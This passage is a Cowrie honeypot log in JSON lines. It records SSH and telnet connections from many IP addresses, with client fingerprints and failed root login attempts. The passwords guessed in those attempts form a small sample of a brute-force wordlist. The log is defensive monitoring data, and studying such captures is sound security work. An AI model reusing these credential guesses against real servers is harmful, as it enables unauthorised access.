{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:11.868614Z","src_ip":"89.190.156.8","session":"c5f48e8f57ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cc112233","message":"login attempt [root/Cc112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:12.219663Z","src_ip":"89.190.156.8","session":"c5f48e8f57ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:13.305211Z","src_ip":"89.190.156.8","session":"c5f48e8f57ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60958,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc7b6735244","protocol":"ssh","message":"New connection: 103.172.78.219:60958 (159.203.135.109:22) [session: bdc7b6735244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:17.830979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:17.836951Z","src_ip":"103.172.78.219","session":"bdc7b6735244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:18.095601Z","src_ip":"103.172.78.219","session":"bdc7b6735244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121986","message":"login attempt [root/11121986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:18.870620Z","src_ip":"103.172.78.219","session":"bdc7b6735244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:20.130512Z","src_ip":"103.172.78.219","session":"bdc7b6735244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":33924,"dst_ip":"10.17.0.5","dst_port":22,"session":"519c0db4c137","protocol":"ssh","message":"New connection: 45.165.238.2:33924 (10.17.0.5:22) [session: 519c0db4c137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:32.693212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:32.699191Z","src_ip":"45.165.238.2","session":"519c0db4c137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:32.832643Z","src_ip":"45.165.238.2","session":"519c0db4c137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123123123","message":"login attempt [root/Admin123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:33.392613Z","src_ip":"45.165.238.2","session":"519c0db4c137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:34.526685Z","src_ip":"45.165.238.2","session":"519c0db4c137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":39414,"dst_ip":"159.203.135.109","dst_port":22,"session":"a660f07e2c06","protocol":"ssh","message":"New connection: 186.233.118.22:39414 (159.203.135.109:22) [session: a660f07e2c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:56.834125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:56.840879Z","src_ip":"186.233.118.22","session":"a660f07e2c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:56.959795Z","src_ip":"186.233.118.22","session":"a660f07e2c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos","message":"login attempt [root/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:57.464480Z","src_ip":"186.233.118.22","session":"a660f07e2c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:58.589890Z","src_ip":"186.233.118.22","session":"a660f07e2c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":65392,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37bf5b4159b","protocol":"ssh","message":"New connection: 38.93.206.2:65392 (10.17.0.5:22) [session: b37bf5b4159b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:02.922354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:02.931116Z","src_ip":"38.93.206.2","session":"b37bf5b4159b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:02.987662Z","src_ip":"38.93.206.2","session":"b37bf5b4159b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11061992","message":"login attempt [root/11061992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:03.147466Z","src_ip":"38.93.206.2","session":"b37bf5b4159b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:04.201452Z","src_ip":"38.93.206.2","session":"b37bf5b4159b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10049,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc5c35570e4","protocol":"telnet","message":"New connection: 38.211.253.121:10049 (159.203.135.109:23) [session: edc5c35570e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:11.303852Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":60008,"dst_ip":"10.17.0.5","dst_port":22,"session":"367a766f0822","protocol":"ssh","message":"New connection: 171.244.141.86:60008 (10.17.0.5:22) [session: 367a766f0822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:12.874856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:12.880057Z","src_ip":"171.244.141.86","session":"367a766f0822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:13.172651Z","src_ip":"171.244.141.86","session":"367a766f0822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas","message":"login attempt [root/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:14.169128Z","src_ip":"171.244.141.86","session":"367a766f0822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48636,"dst_ip":"10.17.0.5","dst_port":22,"session":"826af91f78be","protocol":"ssh","message":"New connection: 51.250.105.222:48636 (10.17.0.5:22) [session: 826af91f78be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:14.815802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:14.820828Z","src_ip":"51.250.105.222","session":"826af91f78be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:14.951415Z","src_ip":"51.250.105.222","session":"826af91f78be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:15.337377Z","src_ip":"51.250.105.222","session":"826af91f78be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:15.415564Z","src_ip":"171.244.141.86","session":"367a766f0822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:16.466868Z","src_ip":"51.250.105.222","session":"826af91f78be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":61644,"dst_ip":"10.17.0.5","dst_port":22,"session":"8802d7d0f4e2","protocol":"ssh","message":"New connection: 222.107.156.227:61644 (10.17.0.5:22) [session: 8802d7d0f4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:20.211215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:20.215977Z","src_ip":"222.107.156.227","session":"8802d7d0f4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:20.414719Z","src_ip":"222.107.156.227","session":"8802d7d0f4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xue","password":"xue","message":"login attempt [xue/xue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:21.239254Z","src_ip":"222.107.156.227","session":"8802d7d0f4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:22.443088Z","src_ip":"222.107.156.227","session":"8802d7d0f4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00514149665833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:25.773277Z","src_ip":"186.55.200.230","session":"914caf4fc27f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":57132,"dst_ip":"159.203.135.109","dst_port":23,"session":"bee82667918d","protocol":"telnet","message":"New connection: 186.55.200.230:57132 (159.203.135.109:23) [session: bee82667918d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:27.098265Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":37440,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea97f348d4dd","protocol":"ssh","message":"New connection: 213.230.127.104:37440 (10.17.0.5:22) [session: ea97f348d4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:29.906808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:29.914541Z","src_ip":"213.230.127.104","session":"ea97f348d4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-